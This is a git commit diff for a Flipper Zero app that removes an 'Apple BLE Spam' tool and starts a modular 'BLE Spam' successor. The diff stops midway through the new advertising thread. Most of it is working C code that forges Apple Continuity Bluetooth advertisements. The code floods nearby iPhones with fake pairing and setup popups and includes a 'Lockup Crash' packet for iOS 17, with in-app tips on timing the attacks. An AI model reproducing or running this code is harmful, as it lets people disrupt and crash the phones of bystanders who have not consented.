Apple BLE Spam -> BLE Spam (now modular!)

This commit is contained in:
Willy-JL
2023-10-15 18:34:23 +01:00
parent 3037e8b03d
commit 0465f3ca31
16 changed files with 725 additions and 1081 deletions

View File

@@ -1,837 +0,0 @@
#include <gui/gui.h>
#include <gui/elements.h>
#include <furi_hal_bt.h>
#include <furi_hal_random.h>
#include <assets_icons.h>
#include "apple_ble_spam_icons.h"
#include "lib/continuity/continuity.h"
typedef struct {
const char* title;
const char* text;
bool random;
ContinuityMsg msg;
} Payload;
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
static Payload
payloads[] =
{
#if false
{.title = "AirDrop",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeAirDrop,
.data = {.airdrop = {}},
}},
{.title = "Airplay Target",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeAirplayTarget,
.data = {.airplay_target = {}},
}},
{.title = "Handoff",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeHandoff,
.data = {.handoff = {}},
}},
{.title = "Tethering Source",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeTetheringSource,
.data = {.tethering_source = {}},
}},
{.title = "Mobile Backup",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x04}},
}},
{.title = "Watch Setup",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x05}},
}},
{.title = "Internet Relay",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x07}},
}},
{.title = "WiFi Password",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x08}},
}},
{.title = "Repair",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0A}},
}},
{.title = "Apple Pay",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0C}},
}},
{.title = "Developer Tools Pairing Request",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0E}},
}},
{.title = "Answered Call",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0F}},
}},
{.title = "Ended Call",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x10}},
}},
{.title = "DD Ping",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x11}},
}},
{.title = "DD Pong",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x12}},
}},
{.title = "Companion Link Proximity",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x14}},
}},
{.title = "Remote Management",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x15}},
}},
{.title = "Remote Auto Fill Pong",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x16}},
}},
{.title = "Remote Display",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x17}},
}},
{.title = "Nearby Info",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyInfo,
.data = {.nearby_info = {}},
}},
#endif
{.title = "Lockup Crash",
.text = "iOS 17, locked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeCustomCrash,
.data = {.custom_crash = {}},
}},
{.title = "Random Action",
.text = "Spam shuffle Nearby Actions",
.random = true,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x00}},
}},
{.title = "Random Pair",
.text = "Spam shuffle Proximity Pairs",
.random = true,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x00, .model = 0x0000}},
}},
{.title = "AppleTV AutoFill",
.text = "Banner, unlocked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x13}},
}},
{.title = "AppleTV Connecting...",
.text = "Modal, unlocked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x27}},
}},
{.title = "Join This AppleTV?",
.text = "Modal, unlocked, spammy",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xBF, .type = 0x20}},
}},
{.title = "AppleTV Audio Sync",
.text = "Banner, locked, long range",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x19}},
}},
{.title = "AppleTV Color Balance",
.text = "Banner, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x1E}},
}},
{.title = "Setup New iPhone",
.text = "Modal, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x09}},
}},
{.title = "Setup New Random",
.text = "Modal, locked, glitched",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0x40, .type = 0x09}},
}},
{.title = "Transfer Phone Number",
.text = "Modal, locked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x02}},
}},
{.title = "HomePod Setup",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0B}},
}},
{.title = "AirPods Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0E20}},
}},
{.title = "Beats Solo 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0620}},
}},
{.title = "AirPods Max",
.text = "Modal, laggy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0A20}},
}},
{.title = "Beats Flex",
.text = "Modal, laggy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1020}},
}},
{.title = "Airtag",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0055}},
}},
{.title = "Hermes Airtag",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x05, .model = 0x0030}},
}},
{.title = "Setup New AppleTV",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x01}},
}},
{.title = "Pair AppleTV",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x06}},
}},
{.title = "HomeKit AppleTV Setup",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x0D}},
}},
{.title = "AppleID for AppleTV?",
.text = "Modal, unlocked",
.random = false,
.msg =
{
.type = ContinuityTypeNearbyAction,
.data = {.nearby_action = {.flags = 0xC0, .type = 0x2B}},
}},
{.title = "AirPods",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0220}},
}},
{.title = "AirPods 2nd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0F20}},
}},
{.title = "AirPods 3rd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1320}},
}},
{.title = "AirPods Pro 2nd Gen",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1420}},
}},
{.title = "Powerbeats 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0320}},
}},
{.title = "Powerbeats Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0B20}},
}},
{.title = "Beats Solo Pro",
.text = "",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0C20}},
}},
{.title = "Beats Studio Buds",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1120}},
}},
{.title = "Beats X",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0520}},
}},
{.title = "Beats Studio 3",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x0920}},
}},
{.title = "Beats Studio Pro",
.text = "Modal, spammy (stays open)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1720}},
}},
{.title = "Beats Fit Pro",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1220}},
}},
{.title = "Beats Studio Buds+",
.text = "Modal, spammy (auto close)",
.random = false,
.msg =
{
.type = ContinuityTypeProximityPair,
.data = {.proximity_pair = {.prefix = 0x01, .model = 0x1620}},
}},
};
#define PAYLOAD_COUNT ((signed)COUNT_OF(payloads))
struct {
uint8_t count;
ContinuityData** datas;
} randoms[ContinuityTypeCount] = {0};
uint16_t delays[] = {
20,
50,
100,
150,
200,
300,
400,
500,
750,
1000,
1500,
2000,
2500,
3000,
4000,
5000,
};
typedef struct {
bool resume;
bool advertising;
uint8_t delay;
uint8_t size;
uint8_t* packet;
Payload* payload;
FuriThread* thread;
uint8_t mac[GAP_MAC_ADDR_SIZE];
int8_t index;
} State;
static int32_t adv_thread(void* ctx) {
State* state = ctx;
Payload* payload = state->payload;
ContinuityMsg* msg = &payload->msg;
ContinuityType type = msg->type;
while(state->advertising) {
if(payload->random) {
uint8_t random_i = rand() % randoms[type].count;
memcpy(&msg->data, randoms[type].datas[random_i], sizeof(msg->data));
}
continuity_generate_packet(msg, state->packet);
furi_hal_bt_custom_adv_set(state->packet, state->size);
furi_thread_flags_wait(true, FuriFlagWaitAny, delays[state->delay]);
}
return 0;
}
static void stop_adv(State* state) {
state->advertising = false;
furi_thread_flags_set(furi_thread_get_id(state->thread), true);
furi_thread_join(state->thread);
furi_hal_bt_custom_adv_stop();
}
static void start_adv(State* state) {
state->advertising = true;
furi_thread_start(state->thread);
uint16_t delay = delays[state->delay];
furi_hal_bt_custom_adv_start(delay, delay, 0x00, state->mac, 0x1F);
}
static void toggle_adv(State* state, Payload* payload) {
if(state->advertising) {
stop_adv(state);
if(state->resume) furi_hal_bt_start_advertising();
state->payload = NULL;
free(state->packet);
state->packet = NULL;
state->size = 0;
} else {
state->size = continuity_get_packet_size(payload->msg.type);
state->packet = malloc(state->size);
state->payload = payload;
furi_hal_random_fill_buf(state->mac, sizeof(state->mac));
state->resume = furi_hal_bt_is_active();
furi_hal_bt_stop_advertising();
start_adv(state);
}
}
#define PAGE_MIN (-5)
#define PAGE_MAX PAYLOAD_COUNT
enum {
PageApps = PAGE_MIN,
PageDelay,
PageDistance,
PageProximityPair,
PageNearbyAction,
PageStart = 0,
PageEnd = PAYLOAD_COUNT - 1,
PageAbout = PAGE_MAX,
};
static void draw_callback(Canvas* canvas, void* ctx) {
State* state = ctx;
const char* back = "Back";
const char* next = "Next";
switch(state->index) {
case PageStart - 1:
next = "Spam";
break;
case PageStart:
back = "Help";
break;
case PageEnd:
next = "About";
break;
case PageEnd + 1:
back = "Spam";
break;
}
canvas_set_font(canvas, FontSecondary);
canvas_draw_icon(canvas, 3, 4, &I_apple_10px);
canvas_draw_str(canvas, 14, 12, "Apple BLE Spam");
switch(state->index) {
case PageApps:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Some Apps\e# interfere\n"
"with the attacks, stay on\n"
"homescreen for best results",
false);
break;
case PageDelay:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Delay\e# is time between\n"
"attack attempts (top right),\n"
"keep 20ms for best results",
false);
break;
case PageDistance:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Distance\e# is limited, attacks\n"
"work under 1 meter but a\n"
"few are marked 'long range'",
false);
break;
case PageProximityPair:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Proximity Pair\e# attacks\n"
"keep spamming but work at\n"
"very close range",
false);
break;
case PageNearbyAction:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "Help");
elements_text_box(
canvas,
4,
16,
120,
48,
AlignLeft,
AlignTop,
"\e#Nearby Actions\e# work one\n"
"time then need to lock and\n"
"unlock the phone",
false);
break;
case PageAbout:
canvas_set_font(canvas, FontBatteryPercent);
canvas_draw_str_aligned(canvas, 124, 12, AlignRight, AlignBottom, "About");
elements_text_box(
canvas,
4,
16,
122,
48,
AlignLeft,
AlignTop,
"App+Spam by \e#WillyJL\e# XFW\n"
"IDs and Crash by \e#ECTO-1A\e#\n"
"Continuity by \e#furiousMAC\e#\n"
" Version \e#1.2\e#",
false);
break;
default: {
if(state->index < 0 || state->index > PAYLOAD_COUNT - 1) break;
const Payload* payload = &payloads[state->index];
char str[32];
canvas_set_font(canvas, FontBatteryPercent);
snprintf(str, sizeof(str), "%ims", delays[state->delay]);
canvas_draw_str_aligned(canvas, 116, 12, AlignRight, AlignBottom, str);
canvas_draw_icon(canvas, 119, 6, &I_SmallArrowUp_3x5);
canvas_draw_icon(canvas, 119, 10, &I_SmallArrowDown_3x5);
canvas_set_font(canvas, FontBatteryPercent);
snprintf(
str,
sizeof(str),
"%02i/%02i: %s",
state->index + 1,
PAYLOAD_COUNT,
continuity_get_type_name(payload->msg.type));
canvas_draw_str(canvas, 4 - (state->index < 19 ? 1 : 0), 21, str);
canvas_set_font(canvas, FontPrimary);
canvas_draw_str(canvas, 4, 32, payload->title);
canvas_set_font(canvas, FontSecondary);
canvas_draw_str(canvas, 4, 46, payload->text);
elements_button_center(canvas, state->advertising ? "Stop" : "Start");
break;
}
}
if(state->index > PAGE_MIN) {
elements_button_left(canvas, back);
}
if(state->index < PAGE_MAX) {
elements_button_right(canvas, next);
}
}
static void input_callback(InputEvent* input, void* ctx) {
FuriMessageQueue* input_queue = ctx;
if(input->type == InputTypeShort || input->type == InputTypeLong ||
input->type == InputTypeRepeat) {
furi_message_queue_put(input_queue, input, 0);
}
}
int32_t apple_ble_spam(void* p) {
UNUSED(p);
for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
if(payloads[payload_i].random) continue;
randoms[payloads[payload_i].msg.type].count++;
}
for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
if(!randoms[type].count) continue;
randoms[type].datas = malloc(sizeof(ContinuityData*) * randoms[type].count);
uint8_t random_i = 0;
for(uint8_t payload_i = 0; payload_i < COUNT_OF(payloads); payload_i++) {
if(payloads[payload_i].random) continue;
if(payloads[payload_i].msg.type == type) {
randoms[type].datas[random_i++] = &payloads[payload_i].msg.data;
}
}
}
State* state = malloc(sizeof(State));
state->thread = furi_thread_alloc();
furi_thread_set_callback(state->thread, adv_thread);
furi_thread_set_context(state->thread, state);
furi_thread_set_stack_size(state->thread, 2048);
FuriMessageQueue* input_queue = furi_message_queue_alloc(8, sizeof(InputEvent));
ViewPort* view_port = view_port_alloc();
Gui* gui = furi_record_open(RECORD_GUI);
view_port_input_callback_set(view_port, input_callback, input_queue);
view_port_draw_callback_set(view_port, draw_callback, state);
gui_add_view_port(gui, view_port, GuiLayerFullscreen);
bool running = true;
while(running) {
InputEvent input;
furi_check(furi_message_queue_get(input_queue, &input, FuriWaitForever) == FuriStatusOk);
Payload* payload = (state->index >= 0 && state->index <= PAYLOAD_COUNT - 1) ?
&payloads[state->index] :
NULL;
bool advertising = state->advertising;
switch(input.key) {
case InputKeyOk:
if(payload) toggle_adv(state, payload);
break;
case InputKeyUp:
if(payload && state->delay < COUNT_OF(delays) - 1) {
if(advertising) stop_adv(state);
state->delay++;
if(advertising) start_adv(state);
}
break;
case InputKeyDown:
if(payload && state->delay > 0) {
if(advertising) stop_adv(state);
state->delay--;
if(advertising) start_adv(state);
}
break;
case InputKeyLeft:
if(state->index > PAGE_MIN) {
if(advertising) toggle_adv(state, payload);
state->index--;
}
break;
case InputKeyRight:
if(state->index < PAGE_MAX) {
if(advertising) toggle_adv(state, payload);
state->index++;
}
break;
case InputKeyBack:
if(advertising) toggle_adv(state, payload);
running = false;
break;
default:
continue;
}
view_port_update(view_port);
}
gui_remove_view_port(gui, view_port);
furi_record_close(RECORD_GUI);
view_port_free(view_port);
furi_message_queue_free(input_queue);
furi_thread_free(state->thread);
free(state);
for(ContinuityType type = 0; type < ContinuityTypeCount; type++) {
free(randoms[type].datas);
}
return 0;
}

View File

@@ -1,20 +0,0 @@
App(
appid="apple_ble_spam",
name="Apple BLE Spam",
apptype=FlipperAppType.EXTERNAL,
entry_point="apple_ble_spam",
stack_size=2 * 1024,
fap_icon="icons/apple_10px.png",
fap_category="Bluetooth",
fap_author="@Willy-JL & @ECTO-1A",
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/apple_ble_spam",
fap_version="1.2",
fap_description="Spam Apple devices with annoying popups and notifications via BLE packets",
fap_icon_assets="icons",
fap_icon_assets_symbol="apple_ble_spam",
fap_private_libs=[
Lib(
name="continuity",
),
],
)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 563 B

View File

@@ -1,165 +0,0 @@
#include "continuity.h"
#include <furi_hal_random.h>
#include <core/core_defines.h>
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
static const char* continuity_type_names[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = "AirDrop",
[ContinuityTypeProximityPair] = "Proximity Pair",
[ContinuityTypeAirplayTarget] = "Airplay Target",
[ContinuityTypeHandoff] = "Handoff",
[ContinuityTypeTetheringSource] = "Tethering Source",
[ContinuityTypeNearbyAction] = "Nearby Action",
[ContinuityTypeNearbyInfo] = "Nearby Info",
[ContinuityTypeCustomCrash] = "Custom Packet",
};
const char* continuity_get_type_name(ContinuityType type) {
return continuity_type_names[type];
}
#define HEADER_LEN (6) // 1 Length + 1 ? + 2 Company ID + 1 Continuity Type + 1 Continuity Length
static uint8_t continuity_packet_sizes[ContinuityTypeCount] = {
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
[ContinuityTypeHandoff] = HEADER_LEN + 14,
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
};
uint8_t continuity_get_packet_size(ContinuityType type) {
return continuity_packet_sizes[type];
}
void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet) {
uint8_t size = continuity_get_packet_size(msg->type);
uint8_t i = 0;
packet[i++] = size - 1; // Packet Length
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = msg->type; // Continuity Type
packet[i] = size - i - 1; // Continuity Length
i++;
switch(msg->type) {
case ContinuityTypeAirDrop:
packet[i++] = 0x00; // Zeros
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x00; // ...
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // AppleID
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Phone Number
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // Email2
packet[i++] = (rand() % 256); // ...
packet[i++] = 0x00; // Zero
break;
case ContinuityTypeProximityPair:
packet[i++] = msg->data.proximity_pair.prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
packet[i++] = msg->data.proximity_pair.model >> 8;
packet[i++] = msg->data.proximity_pair.model & 0xFF;
packet[i++] = 0x55; // Status
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
packet[i++] = (rand() % 256); // Lid Open Counter
packet[i++] = 0x00; // Device Color
packet[i++] = 0x00;
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
i += 16;
break;
case ContinuityTypeAirplayTarget:
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 256); // Configuration Seed
packet[i++] = (rand() % 256); // IPv4 Address
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
case ContinuityTypeHandoff:
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Initialization Vector
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
packet[i++] = (rand() % 256); // Encrypted Payload
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
case ContinuityTypeTetheringSource:
packet[i++] = 0x01; // Version
packet[i++] = (rand() % 256); // Flags
packet[i++] = (rand() % 101); // Battery Life
packet[i++] = 0x00; // Cell Service Type
packet[i++] = (rand() % 8); // ...
packet[i++] = (rand() % 5); // Cell Service Strength
break;
case ContinuityTypeNearbyAction:
packet[i] = msg->data.nearby_action.flags; // Action Flags
if(packet[i] == 0xBF && rand() % 2) packet[i]++; // Ugly hack to shift 0xBF-0xC0 for spam
i++;
packet[i++] = msg->data.nearby_action.type;
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
break;
case ContinuityTypeNearbyInfo:
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
packet[i++] = (rand() % 256); // Status Flags
packet[i++] = (rand() % 256); // Authentication Tag
packet[i++] = (rand() % 256); // ...
packet[i++] = (rand() % 256); // ...
break;
case ContinuityTypeCustomCrash:
// Found by @ECTO-1A
i -= 2; // Override segment header
packet[i++] = ContinuityTypeNearbyAction; // Type
packet[i++] = 0x05; // Length
packet[i++] = 0xC1; // Action Flags
const uint8_t types[] = {0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0};
packet[i++] = types[rand() % COUNT_OF(types)]; // Action Type
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // ???
packet[i++] = 0x00; // ???
packet[i++] = ContinuityTypeNearbyInfo; // Type ???
furi_hal_random_fill_buf(&packet[i], 3); // Shenanigans (Length + IDK) ???
i += 3;
break;
default:
break;
}
}

View File

@@ -1,59 +0,0 @@
#pragma once
#include <stdint.h>
#include <stdlib.h>
// Hacked together by @Willy-JL
// Custom adv logic by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Extensive testing and research on behavior and parameters by @Willy-JL and @ECTO-1A
// Structures docs and Nearby Action IDs from https://github.com/furiousMAC/continuity/
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
typedef enum {
ContinuityTypeAirDrop = 0x05,
ContinuityTypeProximityPair = 0x07,
ContinuityTypeAirplayTarget = 0x09,
ContinuityTypeHandoff = 0x0C,
ContinuityTypeTetheringSource = 0x0E,
ContinuityTypeNearbyAction = 0x0F,
ContinuityTypeNearbyInfo = 0x10,
ContinuityTypeCustomCrash,
ContinuityTypeCount
} ContinuityType;
typedef union {
struct {
} airdrop;
struct {
uint8_t prefix;
uint16_t model;
} proximity_pair;
struct {
} airplay_target;
struct {
} handoff;
struct {
} tethering_source;
struct {
uint8_t flags;
uint8_t type;
} nearby_action;
struct {
} nearby_info;
struct {
} custom_crash;
} ContinuityData;
typedef struct {
ContinuityType type;
ContinuityData data;
} ContinuityMsg;
const char* continuity_get_type_name(ContinuityType type);
uint8_t continuity_get_packet_size(ContinuityType type);
void continuity_generate_packet(const ContinuityMsg* msg, uint8_t* packet);

View File

@@ -0,0 +1,15 @@
App(
appid="ble_spam",
name="BLE Spam",
apptype=FlipperAppType.EXTERNAL,
entry_point="ble_spam",
stack_size=4 * 1024,
fap_icon="ble_spam_10px.png",
fap_category="Bluetooth",
fap_author="@Willy-JL & @ECTO-1A",
fap_weburl="https://github.com/Flipper-XFW/Xtreme-Apps/tree/dev/ble_spam",
fap_version="2.0",
fap_description="Flood BLE advertisements to cause spammy and annoying popups/notifications",
fap_icon_assets="icons",
fap_icon_assets_symbol="ble_spam",
)

View File

@@ -0,0 +1,363 @@
#include <gui/gui.h>
#include <furi_hal_bt.h>
#include <gui/elements.h>
#include "protocols/_registry.h"
// Hacked together by @Willy-JL
// Custom adv API by @Willy-JL (idea by @xMasterX)
// iOS 17 Crash by @ECTO-1A
// Research on behaviors and parameters by @Willy-JL and @ECTO-1A
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
typedef struct {
bool random_mac;
const BleSpamProtocol* protocol;
BleSpamMsg msg;
} Payload;
typedef struct {
const char* title;
const char* text;
Payload payload;
} Attack;
static Attack attacks[] = {
{
.title = "+ Kitchen Sink",
.text = "Flood all attacks at once",
.payload =
{
.random_mac = true,
.protocol = NULL,
.msg = {},
},
},
{
.title = "iOS 17 Lockup Crash",
.text = "Newer iPhones, long range",
.payload =
{
.random_mac = false,
.protocol = &ble_spam_protocol_continuity,
.msg =
{
.continuity =
{
.type = ContinuityTypeCustomCrash,
.data = {},
},
},
},
},
{
.title = "Apple Action Modal",
.text = "Lock cooldown, long range",
.payload =
{
.random_mac = false,
.protocol = &ble_spam_protocol_continuity,
.msg =
{
.continuity =
{
.type = ContinuityTypeNearbyAction,
.data = {},
},
},
},
},
{
.title = "Apple Device Popup",
.text = "No cooldown, close range",
.payload =
{
.random_mac = false,
.protocol = &ble_spam_protocol_continuity,
.msg =
{
.continuity =
{
.type = ContinuityTypeProximityPair,
.data = {},
},
},
},
},
};
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
uint16_t delays[] = {20, 50, 100, 200};
typedef struct {
bool resume;
bool advertising;
uint8_t delay;
FuriThread* thread;
int8_t index;
} State;
static int32_t adv_thread(void* ctx) {
State* state = ctx;
uint8_t size;
uint16_t delay;
uint8_t* packet;
uint8_t mac[GAP_MAC_ADDR_SIZE];
